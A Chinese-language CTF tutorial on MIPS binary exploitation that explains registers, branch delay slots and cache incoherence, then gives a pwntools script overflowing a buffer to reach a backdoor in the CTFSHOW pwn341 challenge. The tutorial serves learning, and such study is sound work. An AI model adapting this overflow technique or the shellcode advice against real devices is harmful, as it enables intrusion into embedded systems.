参考文章:
https://blog.itewqq.cn/mips-pwn-tutorial/
https://pocs.app/exploiting-buffer-overflows-on-mips-architectures
https://migraine-sudo.github.io/2021/01/30/mips-pwn
三大架构区别
三大架构:MIPS、ARM、x86(x86-64),接触到的大部分pwn题都是x86架构,所以MIPS等其他架构的题型就被称为异架构。

MIPS寄存器
MIPS有32位也有64位,寄存器都以$开头。
- $zero # 永远返回 0。
- $v0 – $v1 # 存储函数返回值。
- $a0 – $a3 # 用于函数调用时的参数传递,若参数超过 4 个,则多余的参数使用堆栈传递。
- $s0 – $s7 # 存储各种东西,函数调用时需将用到的寄存器保存到堆栈。
- $sp # 栈指针,指向栈顶。
- $ra # 存储返回地址。
MIPS系统调用和传参
$v0 保存需要执行的系统调用的调用号,参数 1 ~ 4 分别保存在 $a0 ~ $a3 寄存器中,剩下的参数放在栈中,返回值也存放在 $v0 中。
MIPS的栈
与x86不一样,MIPS没有pop和push指令,通过 load 或者 store 指令进行内存访问的方式使用栈。
栈的关键寄存器:
$sp(Stack Pointer,寄存器29):
始终指向栈顶(栈从高地址向低地址生长,push时递减,pop时递增)。
$fp(Frame Pointer,寄存器30,可选):
用于标记当前函数的栈帧起始地址,便于调试和局部变量访问(类似x86的ebp)。该寄存器不是必须的,因为MIPS采用偏移寻址来访问变量,仅有$sp也能完成栈帧的维护。

MIPS的特点
1、无NX(栈不可执行)
由于MIPS的特性,它的栈/bss通常都是可执行的。
2、叶子函数和非叶子函数
x86在调用函数时,会把调用者(caller)的bp和ret(返回地址)压入栈中。
而MIPS中则分为两种情况:
对于叶子函数(不调用其他函数),函数(caller)的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。
对于非叶子函数(即函数中还调用了其他函数),则和x86类似,将函数(caller)的返回地址存入栈中。
3、流水线效应
本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。

通常来说,MIPS规定,在分支指令执行前会先执行分支指令后面一条指令,这条指令被称为分支延迟槽。
一个例子如下:
mov $a0,$s1
jalr strrchr //使用了$a0作为参数
mov $a0,$s0
请问在第二步时,$a0的值是$s1还是$s0?
答案:由于流水线效应,mov $a0,$s0实际上在jalr strrchr前被执行,所以在第二步时,$a0的值是$s0的值。
4、缓存不一致性
首先了解一下哈佛结构与冯诺依曼结构的区别:
哈佛结构:指令和数据分开存储
冯诺依曼结构:指令和数据不分开,共享同一存储空间和总线
MIPS 架构采用 哈佛架构的缓存设计,即 指令缓存Instruction cache(I-Cache) 和 数据缓存Data cache(D-Cache) 物理分离。这种设计提高了指令和数据的并行访问能力,但也引入了 缓存一致性问题。
如图所示, I-Cache缓存可执行指令,CPU 只能从 I-Cache 中取指令执行。D-Cache缓存程序数据(如栈、堆、全局变量等),所有数据读写操作都经过 D-Cache。

MIPS 通常采用 写回(Write-Back)策略,即修改后的数据不会立即同步到主存,而是留在D-Cache 中,直到被替换或显式刷新。所以写入的shellcode不会马上存到I-Cache中去执行,而是停留在D-Cache中,直到主存(Memory)刷新对应内存块,
所以在写exp的时候,通常会用sleep函数来使得shellcode从D-Cache刷新到I-Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链,先调用sleep函数,然后再跳转到shellcode。
sleep函数能解决 MIPS 缓存不一致问题,是因为它通过系统调用进入内核态,触发操作系统的缓存维护机制:强制 D-Cache 写回内存确保 ShellCode 同步,并失效 I-Cache 使 CPU 重新加载指令,从而保证后续执行的代码是最新的。
例题1: CTFSHOW pwn341
逻辑非常简单:


后门函数:

打法很简单,溢出覆盖返回地址即可。由于是异架构,侧重点在于学习分析一下汇编代码。
ctfshow函数:

v1变量占0x18,紧接着是$fp(即x86的ebp),然后就是返回地址$ra,所以payload是:
payload = b'A' * 24 # 填充到fp
payload += p32(1) # 填充fp
payload += p32(backdoor) # 填充ra
为什么没用sleep?因为这是ret2text,没用到shellcode
完整exp:
from pwn import *
context(arch='mips', endian='little', os='linux')
# 目标程序
#p = process('/home/monke/Desktop/MIPS_PWN/pwn1') # 本地测试
p = remote('wn.challenge.ctf.show', 28302) # 远程攻击
# 关键地址
backdoor = 0x4005dc
# 构造 payload
payload = b'A' * 24 # 填充到fp
payload += p32(1) # 填充fp
payload += p32(backdoor) # 填充ra
#gdb.attach(p)
# 发送 payload
p.sendlineafter(b"Please enter your input: ", payload)
p.interactive()
打通:
